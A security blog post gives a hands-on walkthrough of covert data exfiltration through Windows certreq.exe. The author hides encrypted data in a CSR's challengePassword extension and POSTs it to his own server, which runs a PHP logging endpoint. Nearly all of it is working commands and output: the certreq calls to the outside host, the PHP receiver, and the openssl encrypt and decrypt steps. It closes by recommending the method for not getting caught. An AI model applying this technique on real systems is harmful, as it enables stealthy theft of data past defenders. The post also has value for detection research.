Now, finally sharing something new again, I present CertReq exfiltration!

The Spark

It all started one Thursday that I was on the bench with an innocuous looking tweet from subTee. He mentioned that it seemed like certreq.exe could arbitrarily POST to a server. A few people posited that you could send data with this, so I got to work.

Having never followed one of his tweets all the way down the rabbit hole, I didn't realize how deep it would go.

Note: you may need the Win10 SDK to use some of these tools, depending on your OS version and what you already have installed.

Trying to Help

At first, I just followed the Twitter thread and tried to offer suggestions.

Initially Casey was running into some ASN errors (ASN: 267 CRYPT_E_ASN1_BADTAG). I suggest that he use makecert.exe for a legitimate CSR, and then replace the "rsaEncryption" section of the ASN.1 with his exfiltrated data.

I don't believe he was successful with this, and it was time to take matters into my own hands.

Initial Attempts

First, my certreq.exe was attempting to connect to an RPC server before sending the CSR.

C:\Users\Ray\Documents\CertTest>certreq -config x.x.x.x exfil.csr Certificate Request Processor: The RPC server is unavailable.

Running a listener on my remote server, I noticed that using an IP attempts to hit a remote RPC.

Connection from [x.x.x.x] port 135 [tcp/loc-srv] accepted.

Once I switched from an IP to a URL, then it attempted to POST!

[21/Jul/2017:14:15:35 +0000] "POST /csr HTTP/1.1" 404 3683 "-" "MS-WebServices/1.0"

I'm not certain what caused the difference in communication, but I was unable to get anything useful from the RPC request.

That said, I at least had a starting point.

Receiving the CSR

First, I attempted to copy the command used verbatim on my site. Unfortunately, that did not work, as I didn't actually have anything at /csr yet.

C:\Users\Ray\Documents\CertTest>certreq -config https://r4y.pw/csr exfil.csr Certificate Request Processor: The remote endpoint does not exist or could not be located. 0x803d000d (-2143485939 WS_E_ENDPOINT_NOT_FOUND)

That said, once I checked my Apache logs, there was a POST attempting to happen.

172.74.115.145 - - [21/Jul/2017:14:15:35 +0000] "POST /csr HTTP/1.1" 404 3683 "-" "MS-WebServices/1.0"

Next, I setup a basic endpoint at CSR to log the contents of the post to a file.

<?php $post_body = file_get_contents('php://input'); file_put_contents('/var/www/html/csr-post.log', var_export($post_body, true)); echo "<pre>"; print_r($post_body); ?>

After generating a basic CSR with makecert, I attempted to send the CSR to my site again. This worked, and the data was in csr-post.log!

root@r4y-01:/var/www/html# cat csr-post.log '<s:Envelope xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Header><a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep</a:Action><a:MessageID>urn:uuid:1edd604e-5ad3-4594-8ca1-88a3b0ca6543</a:MessageID><a:To s:mustUnderstand="1">https://r4y.pw/csr.php</a:To></s:Header><s:Body><RequestSecurityToken PreferredLanguage="en-US" xmlns="http://docs.oasis-open.org/ws-sx/ws-trust/200512"><TokenType>http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3</TokenType><RequestType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue</RequestType><BinarySecurityToken ValueType="http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary" a:Id="" xmlns:a="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">MII...BuZb</BinarySecurityToken><AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization"><ContextItem Name="ccm"><Value>Megatron</Value></ContextItem></AdditionalContext></RequestSecurityToken></s:Body></s:Envelope>'

Parsing this with the asn1parse method of openssl.exe showed a valid certificate request.

C:\Users\Ray\Documents\CertTest>openssl asn1parse -i -in request.txt 0:d=0 hl=4 l=1385 cons: SEQUENCE 4:d=1 hl=4 l= 849 cons: SEQUENCE 8:d=2 hl=2 l= 1 prim: INTEGER :00 11:d=2 hl=2 l= 27 cons: SEQUENCE 13:d=3 hl=2 l= 25 cons: SET 15:d=4 hl=2 l= 23 cons: SEQUENCE 17:d=5 hl=2 l= 3 prim: OBJECT :commonName ... 859:d=2 hl=2 l= 9 prim: OBJECT :sha1WithRSAEncryption 870:d=2 hl=2 l= 0 prim: NULL 872:d=1 hl=4 l= 513 prim: BIT STRING

Wikipedia CSR

First, I realized that I didn't have to generate a new cert from my machine, I could just use the Wikipedia example.

Once I copied their cert, I attempted to POST it to my listener.

C:\Users\Ray\Documents\CertTest>certreq -config https://r4y.pw/csr.php wiki-test.cer Certificate Request Processor: The input data was not in the expected format or did not have the expected value. 0x803d0000 (-2143485952 WS_E_INVALID_FORMAT)

While it mentions an error with the input data, it actually sent successfully.

root@r4y-01:/var/www/html# cat csr-post.log '<s:Envelope xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Header><a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep</a:Action><a:MessageID>urn:uuid:e7f48756-b239-4ae4-9476-9b63ba7d85b4</a:MessageID><a:To s:mustUnderstand="1">https://r4y.pw/csr.php</a:To></s:Header><s:Body><RequestSecurityToken PreferredLanguage="en-US" xmlns="http://docs.oasis-open.org/ws-sx/ws-trust/200512"><TokenType>http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3</TokenType><RequestType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue</RequestType><BinarySecurityToken ValueType="http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary" a:Id="" xmlns:a="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">MII...wTQ/1988G 0H35ED0f9Md5fzoKi5evU1wG5WRxdEUPyt3QUXxdQ69i0C+7</BinarySecurityToken><AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization"><ContextItem Name="ccm"><Value>Megatron</Value></ContextItem></AdditionalContext></RequestSecurityToken></s:Body></s:Envelope>'

CertReq Exfiltration - Data Encryption

With my working CSR in place, it was time to try to exfiltrate some data.

First, I located the rsaEncryption section using asn1parse again.

C:\Users\Ray\Documents\CertTest>openssl asn1parse -i -in wiki-test.cer 0:d=0 hl=4 l= 716 cons: SEQUENCE 4:d=1 hl=4 l= 436 cons: SEQUENCE ... 154:d=4 hl=2 l= 9 prim: OBJECT :rsaEncryption 165:d=4 hl=2 l= 0 prim: NULL 167:d=3 hl=4 l= 271 prim: BIT STRING 442:d=2 hl=2 l= 0 cons: cont [ 0 ] 444:d=1 hl=2 l= 13 cons: SEQUENCE 446:d=2 hl=2 l= 9 prim: OBJECT :md5WithRSAEncryption

Next, I decoded the base64 encoded certificate.

root@kali : ~/cert # base64 -d wiki.txt > cert.bin

Using dd, I grabbed the data from the rsaEncryption section.

root@kali : ~/cert # dd skip=169 if=cert.bin bs=1 count=273 | xxd 273+0 records in 273+0 records out 273 bytes copied, 0.000516148 s, 529 kB/s 00000000: 010f 0030 8201 0a02 8201 0100 c3ff 53c4 ...0..........S. 00000010: 6570 20fa 13c0 0b3d 3f0b 2d44 7dca 0cb2 ep ....=?.-D}... 00000020: 80f0 9a4a 6204 0bcc d718 9ba7 837c a412 ...Jb........|.. 00000030: 55c5 473f c973 f6ee d21c 42c6 2d98 0f3e U.G?.s....B.-..> 00000040: 488f 1041 3a90 7f92 2786 f371 ec4a 6659 H..A:...'..q.JfY 00000050: b51f 9dad 9210 eaf3 acaf fb9c be99 c1f7 ................ 00000060: 3e17 ccab 9a6c d199 e598 9349 0f4b eccc >....l.....I.K.. 00000070: 7c17 3bd4 4eae 72fc 0ac8 b8cf 8505 eba7 |.;.N.r......... 00000080: a3f2 15f3 3bf0 01ef d545 af22 d108 c55d ....;....E."...] 00000090: 3f6f 041a 77e5 a79a b5d9 c9d9 db39 d322 ?o..w........9." 000000a0: 82b0 71dc 8efb 6bf7 ff33 3d5a aa9a 1976 ..q...k..3=Z...v 000000b0: 5c54 b741 daa5 b29a f36e 092c a26e bb3a \T.A.....n.,.n.: 000000c0: 86c9 1a36 95f9 f347 350d 28fe bccf fff3 ...6...G5.(..... 000000d0: e5de 2eef bda1 06ec 57fc b508 44c1 1f67 ........W...D..g 000000e0: 2544 754f a67b 967e d2e9 c3ab db76 28ce %DuO.{.~.....v(. 000000f0: 0595 9042 7f75 2afa 2c0a 296f e719 f3c1 ...B.u*.,.)o.... 00000100: 735b 936c cd4e a2e7 b1e1 03b1 0203 0100 s[.l.N.......... 00000110: 01 .

Next, I attempted to encrypt some text using an SSh key and the openssl rsautl.

root@r4y-01:~# ssh-keygen -f ~/.ssh/id_rsa.pub -e -m PKCS8 > id_rsa.pem.pub root@r4y-01:~# echo 'This is my encrypted data' | openssl rsautl -encrypt -pubin -inkey id_rsa.pem.pub > message.encrypted root@r4y-01:~# xxd message.encrypted 00000000: 5f9f 0ddd 2b50 990f ecd9 2642 b2dc 8280 _...+P....&B.... 00000010: d12a 080b 8507 45d1 1739 ae35 8f61 ac40 .*....E..9.5.a.@ 00000020: b864 9d8c 2fa0 c2d1 028a 3558 2ef1 27bf .d../.....5X..'. 00000030: 1ecd edd8 8475 847d 82f7 2789 7ccc 7384 .....u.}..'.|.s. 00000040: 7fe3 1c27 b75f a350 6e15 1c2e 0aaf 1156 ...'._.Pn......V 00000050: 16f6 e1b9 09f5 0fab e4d5 790d de91 7f0c ..........y..... 00000060: c26f 2bb8 91ec 90e1 c2df bd0f bd02 b29d .o+............. 00000070: b26c 91a5 b5ee 9ab6 00aa 5091 d8ce 4630 .l........P...F0 00000080: 65d4 e829 08df b76d c587 0c44 07d4 bad0 e..)...m...D.... 00000090: a8f0 cacc 9da2 5e81 237f e4b8 ff6f 08d4 ......^.#....o.. 000000a0: b9f2 2c58 97db 7a11 28fd 230f 7d10 813c ..,X..z.(.#.}..< 000000b0: de24 80e8 e653 c209 02c8 42db 9df5 4eb9 .$...S....B...N. 000000c0: d4ae 91e1 cf4f 6a3e 5d9d ce47 9bd3 5497 .....Oj>]..G..T. 000000d0: 335e 69b6 60fd 7320 aa44 2175 b4b6 ed2c 3^i.`.s .D!u..., 000000e0: 97b0 12ba d924 8df1 fb86 075f ab69 f054 .....$....._.i.T 000000f0: 3ffc 78a9 c8cb 29eb fa14 71ea 87d2 8c4f ?.x...)...q....O

Padding and Replacing rsaEncryption

Additionally, I had to make sure that I had the same length rsaEncryption section before replacing it with my data. The reason for this is that the certificate requests mention the length of the next section. Padding my section with nulls is easier than changing all the length fields.

root@kali : ~/cert # wc -c < message.encrypted 256 root@kali : ~/cert # cp message.encrypted message-padded.encrypted root@kali : ~/cert # dd if=/dev/zero bs=1 count=15 >> message-padded.encrypted 15+0 records in 15+0 records out 15 bytes copied, 8.808e-05 s, 170 kB/s root@kali : ~/cert # dd conv=notrunc if=message-padded.encrypted of=cert-modified.bin seek=171 bs=1 271+0 records in 271+0 records out 271 bytes copied, 0.000851286 s, 318 kB/s

CertReq Exfiltration - Shoehorn Attempt

Finally, using the base64 encoded value of my new CSR, I attempted to exfiltrate my data. Unfortunately, I got an ASN1 bad tag value error.

C:\Users\Ray\Documents\CertTest>certreq -config https://r4y.pw/csr.php cert-modified.txt Certificate Request Processor: ASN1 bad tag value met. 0x8009310b (ASN: 267 CRYPT_E_ASN1_BADTAG)

This indicated a private/public key mixup, which made sense considering that I used a different key for my rsaEncryption section. This also meant that certreq was doing more than just ASN.1 validation, since I believe my CSR was still technically valid.

At this point, I was a bit stuck, and didn't think that rsaEncryption would be my point of egress.

OIDs for Fun and Profit!

Next up, I did some research into Microsoft Crypto OIDs.

I believed that I could use any of these in my CSR. In this case, I arbitrarily chose one that didn't seem suspicious (szOID_RSA_challengePwd.

First, I created a NewRequest inf file for certreq -new.

[NewRequest] Subject = "CN=exfil.microsoft.com" HashAlgorithm = sha1 KeyAlgorithm = RSA KeyLength = 4096 ProviderName = "Microsoft RSA SChannel Cryptographic Provider" ProviderType = 1 [Extensions] 1.2.840.113549.1.9.7 = "X58N3StQmQ/s2SZCstyCgNEqCAuFB0XRFzmuNY9hrEC4ZJ2ML6DC0QKKNVgu8Se/Hs3t2IR1hH2C9yeJfMxzhH/jHCe3X6NQbhUcLgqvEVYW9uG5CfUPq+TVeQ3ekX8Mwm8ruJHskOHC370PvQKynbJskaW17pq2AKpQkdjORjBl1OgpCN+3bcWHDEQH1LrQqPDKzJ2iXoEjf+S4/28I1LnyLFiX23oRKP0jD30QgTzeJIDo5lPCCQLIQtud9U651K6R4c9Paj5dnc5Hm9NUlzNeabZg/XMgqkQhdbS27SyXsBK62SSN8fuGB1+rafBUP/x4qcjLKev6FHHqh9KMTw=="

The data inside of my OID is actually the message.encrypted from earlier.

root@r4y-01:~# base64 message.encrypted X58N3StQmQ/s2SZCstyCgNEqCAuFB0XRFzmuNY9hrEC4ZJ2ML6DC0QKKNVgu8Se/Hs3t2IR1hH2C 9yeJfMxzhH/jHCe3X6NQbhUcLgqvEVYW9uG5CfUPq+TVeQ3ekX8Mwm8ruJHskOHC370PvQKynbJs kaW17pq2AKpQkdjORjBl1OgpCN+3bcWHDEQH1LrQqPDKzJ2iXoEjf+S4/28I1LnyLFiX23oRKP0j D30QgTzeJIDo5lPCCQLIQtud9U651K6R4c9Paj5dnc5Hm9NUlzNeabZg/XMgqkQhdbS27SyXsBK6 2SSN8fuGB1+rafBUP/x4qcjLKev6FHHqh9KMTw==

Next, I used certreq to create a new CSR from this NewRequest. Then, I attempted to send the request to my endpoint.

C:\Users\Ray\Documents\CertTest>certreq -new exfil.inf extension.csr CertReq: Request Created C:\Users\Ray\Documents\CertTest>certreq -config https://r4y.pw/csr.php extension.csr Certificate Request Processor: The input data was not in the expected format or did not have the expected value. 0x803d0000 (-2143485952 WS_E_INVALID_FORMAT)

While I received the same error as earlier, the request worked and my application logged it!

root@r4y-01:/var/www/html# cat csr-post.log '<s:Envelope xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Header><a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep</a:Action><a:MessageID>urn:uuid:91e7b4f0-b47f-4177-8a72-e4d5ca028576</a:MessageID><a:To s:mustUnderstand="1">https://r4y.pw/csr.php</a:To></s:Header><s:Body><RequestSecurityToken PreferredLanguage="en-US" xmlns="http://docs.oasis-open.org/ws-sx/ws-trust/200512"><TokenType>http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3</TokenType><RequestType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue</RequestType><BinarySecurityToken ValueType="http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary" a:Id="" xmlns:a="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">MII...wH6av CyVTnZ9q8P7ginZRrrqQ8Ds31Xo=</BinarySecurityToken><AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization"><ContextItem Name="ccm"><Value>Megatron</Value></ContextItem></AdditionalContext></RequestSecurityToken></s:Body></s:Envelope>'

Using asn1parse, I was able to grab the proper section from my CSR and dump it to a file.

root@r4y-01:/var/www/html# openssl asn1parse -i -in request.txt | grep 834 834:d=7 hl=4 l= 256 prim: OCTET STRING [HEX DUMP]:5F9F0DDD2B50990FECD92642B2DC8280D12A080B850745D11739AE358F61AC40B8649D8C2FA0C2D1028A35582EF127BF1ECDEDD88475847D82F727897CCC73847FE31C27B75FA3506E151C2E0AAF115616F6E1B909F50FABE4D5790DDE917F0CC26F2BB891EC90E1C2DFBD0FBD02B29DB26C91A5B5EE9AB600AA5091D8CE463065D4E82908DFB76DC5870C4407D4BAD0A8F0CACC9DA25E81237FE4B8FF6F08D4B9F22C5897DB7A1128FD230F7D10813CDE2480E8E653C20902C842DB9DF54EB9D4AE91E1CF4F6A3E5D9DCE479BD35497335E69B660FD7320AA442175B4B6ED2C97B012BAD9248DF1FB86075FAB69F0543FFC78A9C8CB29EBFA1471EA87D28C4F root@r4y-01:/var/www/html# echo "5F9F0DDD2B50990FECD92642B2DC8280D12A080B850745D11739AE358F61AC40B8649D8C2FA0C2D1028A35582EF127BF1ECDEDD88475847D82F727897CCC73847FE31C27B75FA3506E151C2E0AAF115616F6E1B909F50FABE4D5790DDE917F0CC26F2BB891EC90E1C2DFBD0FBD02B29DB26C91A5B5EE9AB600AA5091D8CE463065D4E82908DFB76DC5870C4407D4BAD0A8F0CACC9DA25E81237FE4B8FF6F08D4B9F22C5897DB7A1128FD230F7D10813CDE2480E8E653C20902C842DB9DF54EB9D4AE91E1CF4F6A3E5D9DCE479BD35497335E69B660FD7320AA442175B4B6ED2C97B012BAD9248DF1FB86075FAB69F0543FFC78A9C8CB29EBFA1471EA87D28C4F" > hex

I was able to successfully decrypt the section using rsautl, my private key that I generated, and the proper passphrase!

root@r4y-01:/var/www/html# xxd -r -p hex > encrypted.txt root@r4y-01:/var/www/html# openssl rsautl -decrypt -inkey ~/.ssh/id_rsa -in encrypted.txt Enter pass phrase for /root/.ssh/id_rsa: This is my encrypted data

At this point, I tweeted my first success based on @subTee's CSR exfil idea.

Simplification

Though my process was now working for getting out data, it was a bit convoluted.

Initially, I realized that I did not need to use symmetric encryption since I didn't overwrite the rsaEncryption section.

In this case, I decided to switch to AES.

First, I encoded my current csr-post.log file using aes-256-cbc. The reason for using this file instead of a text string was to also see if there was a size limit.

root@r4y-01:/var/www/html# openssl aes-256-cbc -in csr-post.log -out message.enc enter aes-256-cbc encryption password: Verifying - enter aes-256-cbc encryption password:

Next, I base64 encoded my data and put it back in my working CSR.

root@kali : ~/cert # openssl asn1parse -i -in exfil2.txt 0:d=0 hl=4 l=5141 cons: SEQUENCE 4:d=1 hl=4 l=4605 cons: SEQUENCE 8:d=2 hl=2 l= 1 prim: INTEGER :00 ... 823:d=7 hl=2 l= 9 prim: OBJECT :challengePassword 834:d=7 hl=4 l=3728 prim: OCTET STRING [HEX DUMP]:5361...6C10 4628:d=1 hl=4 l= 513 prim: BIT STRING

Finally, after sending my request, it was properly logged, and I was able to decode it!

<span class="prompt">root@kali</span>:<span class="dir">~/cert</span># openssl aes-256-cbc -d -in encrypted.txt enter aes-256-cbc decryption password: '<s:Envelope xmlns:a="http://www.w3.org/2005/08/addressing" xmlns:s="http://www.w3.org/2003/05/soap-envelope"><s:Header><a:Action s:mustUnderstand="1">http://schemas.microsoft.com/windows/pki/2009/01/enrollment/RST/wstep</a:Action><a:MessageID>urn:uuid:91e7b4f0-b47f-4177-8a72-e4d5ca028576</a:MessageID><a:To s:mustUnderstand="1">https://r4y.pw/csr.php</a:To></s:Header><s:Body><RequestSecurityToken PreferredLanguage="en-US" xmlns="http://docs.oasis-open.org/ws-sx/ws-trust/200512"><TokenType>http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509v3</TokenType><RequestType>http://docs.oasis-open.org/ws-sx/ws-trust/200512/Issue</RequestType><BinarySecurityToken ValueType="http://schemas.microsoft.com/windows/pki/2009/01/enrollment#PKCS10" EncodingType="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd#base64binary" a:Id="" xmlns:a="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd" xmlns="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd">MII...31Xo=</BinarySecurityToken><AdditionalContext xmlns="http://schemas.xmlsoap.org/ws/2006/12/authorization"><ContextItem Name="ccm"><Value>Megatron</Value></ContextItem></AdditionalContext></RequestSecurityToken></s:Body></s:Envelope>'

Note that I initially had an issue with aes-256-cbc encrypting and decrypting on two different machines. The reason for this is that they were running two different versions of OpenSSL.

CertReq Exfiltration - Conclusion

This was an awesome exercise, and I'm glad that I followed the rabbit hole all the way down.

While this is a slightly manual process, it is still a great way to exfiltrate data using CSRs.

I am working on a bettter client and endpoint for this technique, and will release them as soon as they are complete. That said, they will not necessarily use native tools directly, so this method is your best bet for not getting caught. While this is far from the only method, I'm really liking certreq exfiltration so far.

If you have any ideas or comments in the meantime, then please let me know!